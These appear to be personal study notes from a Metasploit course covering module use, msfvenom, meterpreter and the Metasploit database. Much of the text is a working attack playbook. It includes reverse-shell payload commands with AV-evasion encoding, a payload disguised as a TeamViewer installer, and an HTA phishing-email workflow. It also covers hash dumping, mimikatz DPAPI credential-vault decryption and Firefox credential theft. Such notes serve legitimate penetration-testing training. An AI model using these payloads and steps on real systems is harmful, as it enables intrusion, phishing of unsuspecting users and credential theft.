Metasploit

Notes from practice and HTB Academy course on Metasploit
sudo apt update && sudo apt install metasploit-frameworkinstallmsfconsolelaunch metasploitmsfconsole -qlaunch without banner
Architecture
/usr/share/metasploit-frameworkall files are here (in parrot)<No.> <type>/<os>/<service>/<name>Syntax of a module
Type
Auxiliary
Scanning, fuzzing, sniffing, and admin capabilities. Offer extra assistance and functionality.
Encoders
Ensure that payloads are intact to their destination.
Exploits
Defined as modules that exploit a vulnerability that will allow for the payload delivery.
NOPs
(No Operation code) Keep the payload sizes consistent across exploit attempts.
Payloads
Code runs remotely and calls back to the attacker machine to establish a connection (or shell).
Plugins
Additional scripts can be integrated within an assessment with msfconsole and coexist.
Post
Wide array of modules to gather information, pivot deeper, etc.
Search for an exploit
search exploit namehelp searchmore details on how to use the help command
Using a module
show optionsto see what we need to setset RHOST 10.10.10.10to set a targetsetgto set an option permanently until the program is restartedrunorexploitto run our exploit once options are setWe can
grepin msfconsole if we need to filter our results example:grep meterpreter show payloadsWe can use
ifconfiginside as well if we do not remember our ip for the LHOST
msfvenom
Evasion
Encoders for evasion
Encoding the payload in different formats could help with the AV detection.
Shikata Ga Nai (SGN) is one of the most utilized Encoding schemes today because it makes payloads hard to detect.
Example msfpayload windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 R | msfencode -b '\x00' -f perl -e x86/shikata_ga_nai
Or msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl -e x86/shikata_ga_nai
We can iterate the encoding scheme to have more chance of being undetected. msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -i 10 -o /root/Desktop/TeamViewerInstall.exe Here with -i we iterate 10 times.
If we register a free account on virus total we can get an API key and use
msf-virustotalto check if our payloads are detected. Than we can check our payload this waymsf-virustotal that we can use with an API key to analyze our payloads. However, this requires free registration on VirusTotal
Archives
We can archive our payload and password protect the archive.
rar a ~/test.rar -p ~/test.jsmv test.rar testwe remove the rar extensionrar a test2.rar -p testwe archive it again and remove the rar extension againThis is an excellent way to transfer data both to and from the target host.
This might raise a flag in the AV mentioning that the file could not be scanned because it was password protected.
Packers
The term Packer refers to the result of an executable compression process where the payload is packed together with an executable program and with the decompression code in one single file. When run, the decompression code returns the backdoored executable to its original state, allowing for yet another layer of protection against file scanning mechanisms on target hosts. This process takes place transparently for the compressed executable to be run the same way as the original executable while retaining all of the original functionality. In addition, msfvenom provides the ability to compress and change the file structure of a backdoored executable and encrypt the underlying process structure.
Popular packer software: UPX packer, The Enigma Protector, MPRESS, Alternate EXE Packer, ExeStealth, Morphine, MEW, Themida.
Catch a shell with meterpreter
Generate a payload with msfvenom
msfvenom --list payloads | grep meterpreter
List formats
msfvenom --list formats
To generate payload take in account
Target OS (Win, Linux, Mac)
Language you need (Python, PHP, ...)
Netwok connection types (TCP, HTTPS,...)
Catch the shell
use exploit/multi/handler If you want meterpreter commands choose type of payload with meterpreter Set LHOST and LPORT and run to catch the shell
Meterpreter Commands
You can see this when typing help
Note: the commands can change depending on your version of meterpreter
Core commands
File system commands
Networking commands
Others Commands
Example of shells
EXE shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe > shell.exe
Using powershell
Generate the script with
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACK-MACHINE-IP LPORT=PORT -f psh -o shell.ps1Serve it to the target with
python3 -m http.server portSet up your listener on msfconsole
use multi/handlerset payload windows/x64/meterpreter/reverse_tcpset also LHOST and LPORTexploit -jrun the exploit on the target you should have a shell
list your sessions with
sessionsInteract with the desired session using
sessions -i number-of-session
HTA Email Phishing
Create the payload with msfvenom
Set up metasploit
msfconsoleuse exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset LHOST IP-OF-ATTACK-MACHINEset LPORT 443exploit -j
Host the file
Launch this in the folder where the payload is
python3 -m http.server 80
Send the phishing email
We can now send an email with a link to our reverse shell
http://IP-OF-ATTACK-MACHINE/name-of-your-script.htaWhen the phishing receptient will execute the file we will get a reverse shell
Catch your shell and interact
In your metasploit shell launch
sessionsWe should see a new meterpreter sessions from our taget machine
To interact with it we can do
sessions -i number-of-session
Local Enumeration
Let's suppose we have a shell
We interact with it using
sessions -i number-of-session(typesessionsto list the available sessions)sysinfowill give info on win version, architecture etcgetuidto have current user infoipconfigto get network infoarpother information about networknetstat -anoto get info on listener and other`ps to check processes
run post/windows/gather/enum_servicesenumerate servicesrun post/windows/gather/enum_applicationsenumerate applicationsrun post/windows/gather/enum_domainsenumerate domains (works better on msf5 than 6)routecheck out routes
Dump hashes with Hashcat
We should have a session
We can check our privileges using
run post/windows/gather/win_privsWe can get getsystem if not already using
getsystemand to check it worked we can usegetuidhashdumpwill dump the hashes on the machine *Note when the hash ends with0c089c0it usually means that the account is probably disabled`load kiwiwill load mimikatz within meterpretercreds_alllsa_dump_samwill dump hashes from the sam file
Cracking Credential Vault with mimikatz
We should have a session (does not have to be admin, needs to be a domain user)
We need to upload mimikatz on the target
upload /opt/Tools/mimikatz_trunk/x64/mimikatz.exe C:\\Users\\Public\\mimikatz.exeshellcd C:\Users\Publicdir /a C:\users\user\appdata\local\microsoft\credentialsThis will list the password files, we will use the smallest on which generally the one we need.
We launch mimikatz:
mimikatz.exevault::credwill let us make sure that there are creds in the vaultdpapi::cred /in:C:\users\user\appdata\local\microsoft\credentials\<CREDENTIAL-FILE-PREVIOUSLY-SELECTED>We need to keep aside the guidMasterKey
exitto exit mimikatzdir /a C:\users\user\appdata\roaming\microsoft\protectand now we can keep note of the sid value that shoudl look like this:03/07/2022 10:31 AM <DIR> S-1-5-21-3390063331-4123551052-1719781121-1113dir /a C:\users\user\appdata\roaming\microsoft\protect\S-1-5-21-3390063331-4123551052-1719781121-1113the file with the guid should be the same guid of the guidMasterKeydpapi::masterkey /in:C:\users\user\appdata\roaming\microsoft\protect\S-1-5-21-3390063331-4123551052-1719781121-1113\09770ae7-8e52-48cd-8899-45bb271132e7 /rpcthis will output our masterkey value and should look like this:
key : 60f202bff3c6e2eaedfc4c28ac1adbdd102ec7dba401157f6f8c2056205507ed4e6d93120ebe48959751c0f2c939e515382d7ffec7bd2b129c8eb89466b31f0fcred /in:C:\users\user\appdata\local\microsoft\credentials\9FD43B9DAC2EECAA50270662B8E497D5 /masterkey:60f202bff3c6e2eaedfc4c28ac1adbdd102ec7dba401157f6f8c2056205507ed4e6d93120ebe48959751c0f2c939e515382d7ffec7bd2b129c8eb89466b31f0fWe will get the dc password in plaintext it should look like this:
Dumping firefox credentials
With an active shell session on metasploit
use post/multi/gather/firefox_credsset SESSION to the ID of your active shell session
exploitthe files will be downloaded in the loot directory, it will be shown where to in the command line
rename every file by checking their original name accordingly to:
key4.db,logins.json,cookies.sqlite,cert9.db,signons.sqliteDownload firefox decrypt
And run it
python3 firefox_decrypt.py <msf loot directory>You should see the decrypted credentials on the screen
Databases
Databases in msfconsole are used to keep track of our results.
Set up
sudo service postgresql statuscheck is PostgreSQL is up and runningIf not
sudo systemctl start postgresqlsudo msfdb initinitiate a Databasesudo msfdb statuscheck if a db has been initiatedsudo msfdb runconnect to the dbIn case of problem we can reinitiate the database
Workspaces
Can be usse to segregate the different scan results, hosts, infos, loot, etc.
workspaceshow the current workspaceworkspace -a workspace-nameadd a workspaceworkspace -d workspace-namedelete a workspaceworkspace workspace-nameto switch to a workspaceworkspace -hfor helpdb_import fileto import files in our database workspacedb_export -f xml file.xmlwe can specify a format with -f. For help we can rundb_export -hhosts -hwill show help on the hosts command that we can use to see stored info in the db about the hosts.services -hsame as host but for servicescreds -hsame but for stored credentialsloot -hThe loot command works in conjunction with the command above to offer you an at-a-glance list of owned services and users. The loot, in this case, refers to hash dumps from different system types, namely hashes, passwd, shadow, and more.
Plugins
/usr/share/metasploit-framework/pluginsis the default plugins directory for every new installation of msfconsole. If a plugin is listed here we can use it.load plugin-nameto load a plugin
Install a new plugin
sudo cp ./Metasploit-Plugins/pentest.rb /usr/share/metasploit-framework/plugins/pentest.rbwe copy our new plugin to the metasploit plugins folder.We can launch
msfconsoleand use our new plugin withload pentest
Useful Plugins
Mixins
Sessions
backgroundorctrl+zto background a sessionsessionslist active sessionssessions -i numto open up a specific session
Jobs
If, for example, we are running an active exploit under a specific port and need this port for a different module, we cannot simply terminate the session using [CTRL] + [C]. If we did that, we would see that the port would still be in use, affecting our use of the new module. So instead, we would need to use the jobs command to look at the currently active tasks running in the background and terminate the old ones to free up the port.
Other types of tasks inside sessions can also be converted into jobs to run in the background seamlessly, even if the session dies or disappears.
jobs -hexploit -jto run an exploit as a job we can useexploit -hfor more helpjobs -llist running jobsjobs -kkill all the running jobs
Add a module
Modules we found online
We might sometimes need to exploit a vulnerability that does not have a module yet in our Metasploit version.
We can add if we have the ruby code of course (we can often find these on exploitdb or with searchsploit)
We download the ruby file we need and copy it to
/usr/share/metasploit-framework/or.msf4/We can then load them at runtime
msfconsole -m /usr/share/metasploit-framework/modules/or after withloadpath /usr/share/metasploit-framework/modules/Or we can also just use
reload_all
We need to be careful with the naming convention: Always use snake-case, alphanumeric characters, and underscores instead of dashes. Like this
our_module_here.rb
Create our own
We can use ruby and create our own module. We can for instance adapt a custom python or any other type of script in ruby to use it in metasploit.
In our script we need to include all the modules and methods for our exploit.
Msf::Exploit::Remote::HttpClient
This module provides methods for acting as an HTTP client when exploiting an HTTP server.
Msf::Exploit::PhpEXE
This is a method for generating a first-stage php payload.
Msf::Exploit::FileDropper
This method transfers files and handles file clean-up after a session with the target is established.
Msf::Auxiliary::Report
This module provides methods for reporting data to the MSF DB.
Resources
Last updated

